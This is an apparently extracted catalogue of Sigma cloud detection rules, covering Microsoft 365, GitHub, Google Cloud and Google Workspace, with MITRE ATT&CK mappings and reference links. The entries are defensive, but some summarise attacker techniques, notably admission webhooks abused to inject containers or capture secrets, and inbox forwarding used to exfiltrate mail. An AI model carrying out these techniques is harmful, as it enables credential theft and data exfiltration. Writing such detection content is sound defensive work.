Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.

The tag is: misp-galaxy:sigma-rules="Suspicious Inbox Forwarding"

View relationships graph

Suspicious Inbox Forwarding has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-
Activity Performed by Terminated User

Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.

The tag is: `misp-galaxy:sigma-rules="Activity Performed by Terminated User"`
PST Export Alert Using New-ComplianceSearchAction

Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365. This rule will apply to ExchangePowerShell usage and from the cloud.

The tag is: misp-galaxy:sigma-rules="PST Export Alert Using New-ComplianceSearchAction"

View relationships graph

PST Export Alert Using New-ComplianceSearchAction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 10514. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml</a></td>
</tr>
</tbody>
</table>

Microsoft 365 - Unusual Volume of File Deletion

Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.

The tag is: misp-galaxy:sigma-rules="Microsoft 365 - Unusual Volume of File Deletion"

View relationships graph

Microsoft 365 - Unusual Volume of File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 10515. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Microsoft 365 - User Restricted from Sending Email**

Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.

The tag is: `misp-galaxy:sigma-rules="Microsoft 365 - User Restricted from Sending Email"`

View relationships graph

Microsoft 365 - User Restricted from Sending Email has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10516. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious OAuth App File Download Activities**

Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.

The tag is: `misp-galaxy:sigma-rules="Suspicious OAuth App File Download Activities"`

<table>
<thead>
<tr>
<th>Table 10517. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_oauth_app_file_download_activities.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_oauth_app_file_download_activities.yml</a></td>
</tr>
</tbody>
</table>

**Microsoft 365 - Impossible Travel Activity**

Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.

The tag is: `misp-galaxy:sigma-rules="Microsoft 365 - Impossible Travel Activity"`

View relationships graph

Microsoft 365 - Impossible Travel Activity has relationships with:
Table 10518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml</a></td>
</tr>
</tbody>
</table>

**Microsoft 365 - Potential Ransomware Activity**

Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.

The tag is: *misp-galaxy:sigma-rules="Microsoft 365 - Potential Ransomware Activity"*

View relationships graph

Microsoft 365 - Potential Ransomware Activity has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"* with estimative-language:likelihood-probability="almost-certain"

Table 10519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_potential_ransomware_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_potential_ransomware_activity.yml</a></td>
</tr>
</tbody>
</table>

**PST Export Alert Using eDiscovery Alert**

Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content

The tag is: *misp-galaxy:sigma-rules="PST Export Alert Using eDiscovery Alert"*

View relationships graph

PST Export Alert Using eDiscovery Alert has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Email Collection - T1114"* with estimative-language:likelihood-probability="almost-certain"

Table 10520. Table References
Activity from Infrequent Country

Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.

The tag is: `misp-galaxy:sigma-rules="Activity from Infrequent Country"`

View relationships graph

Activity from Infrequent Country has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"` with estimative-language:likelihood-probability="almost-certain"

Activity from Suspicious IP Addresses

Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.

The tag is: `misp-galaxy:sigma-rules="Activity from Suspicious IP Addresses"`

View relationships graph

Activity from Suspicious IP Addresses has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"` with estimative-language:likelihood-probability="almost-certain"
New Github Organization Member Added

Detects when a new member is added or invited to a github organization.

The tag is: *misp-galaxy:sigma-rules=*"New Github Organization Member Added"

View relationships graph

New Github Organization Member Added has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

Table 10523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_org_member.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_org_member.yml</a></td>
</tr>
</tbody>
</table>

Github New Secret Created

Detects when a user creates action secret for the organization, environment, codespaces or repository.

The tag is: *misp-galaxy:sigma-rules=*"Github New Secret Created"

View relationships graph

Github New Secret Created has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 10524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_secret_created.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_secret_created.yml</a></td>
</tr>
</tbody>
</table>

Github Delete Action Invoked

Detects delete action in the Github audit logs for codespaces, environment, project and repo.
The tag is: `misp-galaxy:sigma-rules="Github Delete Action Invoked"`

View relationships graph

Github Delete Action Invoked has relationships with:


<table>
<thead>
<tr>
<th>Table 10525. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_delete_action_invoked.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_delete_action_invoked.yml</a></td>
</tr>
</tbody>
</table>

**Github Outside Collaborator Detected**

Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.

The tag is: `misp-galaxy:sigma-rules="Github Outside Collaborator Detected"`

View relationships graph

Github Outside Collaborator Detected has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"` with estimative-language:likelihood-probability="almost-certain"


<table>
<thead>
<tr>
<th>Table 10526. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization</a></td>
</tr>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_outside_collaborator_detected.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_outside_collaborator_detected.yml</a></td>
</tr>
</tbody>
</table>
Github High Risk Configuration Disabled

Detects when a user disables a critical security feature for an organization.

The tag is: `misp-galaxy:sigma-rules="Github High Risk Configuration Disabled"`

View relationships graph

Github High Risk Configuration Disabled has relationships with:


Table 10527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository">https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository</a></td>
</tr>
<tr>
<td><a href="https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization">https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization</a></td>
</tr>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disable_high_risk_configuration.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disable_high_risk_configuration.yml</a></td>
</tr>
</tbody>
</table>

Github Self Hosted Runner Changes Detected

A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.

The tag is: `misp-galaxy:sigma-rules="Github Self Hosted Runner Changes Detected"`

View relationships graph

Github Self Hosted Runner Changes Detected has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"` with estimative-language:likelihood-probability="almost-certain"


- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10528. Table References
Outdated Dependency Or Vulnerability Alert Disabled

Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.

The tag is: `misp-galaxy: sigma-rules="Outdated Dependency Or Vulnerability Alert Disabled"`

View relationships graph

Outdated Dependency Or Vulnerability Alert Disabled has relationships with:


Table 10529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization">https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disabled_outdated_dependency_or_vulnerability.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disabled_outdated_dependency_or_vulnerability.yml</a></td>
</tr>
</tbody>
</table>

Google Cloud DNS Zone Modified or Deleted

Identifies when a DNS Zone is modified or deleted in Google Cloud.

The tag is: `misp-galaxy: sigma-rules="Google Cloud DNS Zone Modified or Deleted"`

Table 10530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/dns/docs/reference/v1/managedZones">https://cloud.google.com/dns/docs/reference/v1/managedZones</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dns_zone_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dns_zone_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>
Google Cloud Kubernetes Secrets Modified or Deleted

Identifies when the Secrets are Modified or Deleted.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Kubernetes Secrets Modified or Deleted"`

Table 10531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging">https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Google Cloud SQL Database Modified or Deleted

Detect when a Cloud SQL DB has been modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Google Cloud SQL Database Modified or Deleted"`

Table 10532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_sql_database_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_sql_database_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Google Cloud Service Account Modified

Identifies when a service account is modified in Google Cloud.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Service Account Modified"`

Table 10533. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts">https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_modified.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_modified.yml</a></td>
</tr>
</tbody>
</table>

Google Cloud Kubernetes RoleBinding

Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Kubernetes RoleBinding"`

Table 10534. Table References
Google Cloud Storage Buckets Enumeration

Detects when storage bucket is enumerated in Google Cloud.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Storage Buckets Enumeration"`

Table 10535. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/storage/docs/json_api/v1/buckets">https://cloud.google.com/storage/docs/json_api/v1/buckets</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket</a> Enumeration.yml</td>
<td></td>
</tr>
</tbody>
</table>

Google Cloud Kubernetes CronJob

Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Kubernetes CronJob"`

Table 10536. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/kubernetes-engine/docs">https://cloud.google.com/kubernetes-engine/docs</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/">https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/workloads/controllers/job/">https://kubernetes.io/docs/concepts/workloads/controllers/job/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp</a> Kubernetes CronJob.yml</td>
<td></td>
</tr>
</tbody>
</table>

Google Cloud VPN Tunnel Modified or Deleted

Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.
The tag is: `misp-galaxy:sigma-rules="Google Cloud VPN Tunnel Modified or Deleted"`

**Table 10537. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://any-api.com/googleapis_com/compute/docs/vpnTunnels">https://any-api.com/googleapis_com/compute/docs/vpnTunnels</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_vpn_tunnel_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_vpn_tunnel_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

### Google Cloud Firewall Modified or Deleted

Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).

The tag is: `misp-galaxy:sigma-rules="Google Cloud Firewall Modified or Deleted"`

**View relationships graph**

Google Cloud Firewall Modified or Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"

**Table 10538. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging">https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

### Google Cloud Re-identifies Sensitive Information

Identifies when sensitive information is re-identified in Google Cloud.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Re-identifies Sensitive Information"`

**View relationships graph**

Google Cloud Re-identifies Sensitive Information has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"` with estimative-language:likelihood-probability="almost-certain"

**Table 10539. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify">https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify</a></td>
</tr>
</tbody>
</table>

6587
Google Cloud Kubernetes Admission Controller

Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Kubernetes Admission Controller"`

View relationships graph

Google Cloud Kubernetes Admission Controller has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 10540. Table References

Links

- [https://cloud.google.com/kubernetes-engine/docs](https://cloud.google.com/kubernetes-engine/docs)

Google Cloud Service Account Disabled or Deleted

Identifies when a service account is disabled or deleted in Google Cloud.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Service Account Disabled or Deleted"`

View relationships graph

Google Cloud Service Account Disabled or Deleted has relationships with:

**Google Cloud Storage Buckets Modified or Deleted**

Detects when storage bucket is modified or deleted in Google Cloud.

The tag is: *misp-galaxy:sigma-rules*="Google Cloud Storage Buckets Modified or Deleted"

**Google Full Network Traffic Packet Capture**

Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.

The tag is: *misp-galaxy:sigma-rules*="Google Full Network Traffic Packet Capture"

View relationships graph

Google Full Network Traffic Packet Capture has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

**Google Workspace Role Privilege Deleted**

Detects when an a role privilege is deleted in Google Workspace.
The tag is: misp-galaxy:sigma-rules="Google Workspace Role Privilege Deleted"

Table 10544. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_privilege_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_privilege_deleted.yml</a></td>
</tr>
</tbody>
</table>

**Google Workspace MFA Disabled**

Detects when multi-factor authentication (MFA) is disabled.

The tag is: misp-galaxy:sigma-rules="Google Workspace MFA Disabled"

Table 10545. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml</a></td>
</tr>
</tbody>
</table>

**Google Workspace Application Removed**

Detects when an application is removed from Google Workspace.

The tag is: misp-galaxy:sigma-rules="Google Workspace Application Removed"

Table 10546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST</a></td>
</tr>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml</a></td>
</tr>
</tbody>
</table>
Google Workspace Granted Domain API Access

Dectects when an API access service account is granted domain authority.

The tag is: misp-galaxy:sigma-rules="Google Workspace Granted Domain API Access"

View relationships graph

Google Workspace Granted Domain API Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 10547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_granted_domain_api_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_granted_domain_api_access.yml</a></td>
</tr>
</tbody>
</table>

Google Workspace User Granted Admin Privileges

Dectects when an Google Workspace user is granted admin privileges.

The tag is: misp-galaxy:sigma-rules="Google Workspace User Granted Admin Privileges"

View relationships graph

Google Workspace User Granted Admin Privileges has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 10548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
</tbody>
</table>

Google Workspace Role Modified or Deleted

Dectects when an a role is modified or deleted in Google Workspace.
The tag is: `misp-galaxy:sigma-rules="Google Workspace Role Modified or Deleted"`

Table 10549. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings">https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3">https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

**OneLogin User Assumed Another User**

Detects when an user assumed another user account.

The tag is: `misp-galaxy:sigma-rules="OneLogin User Assumed Another User"`

Table 10550. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
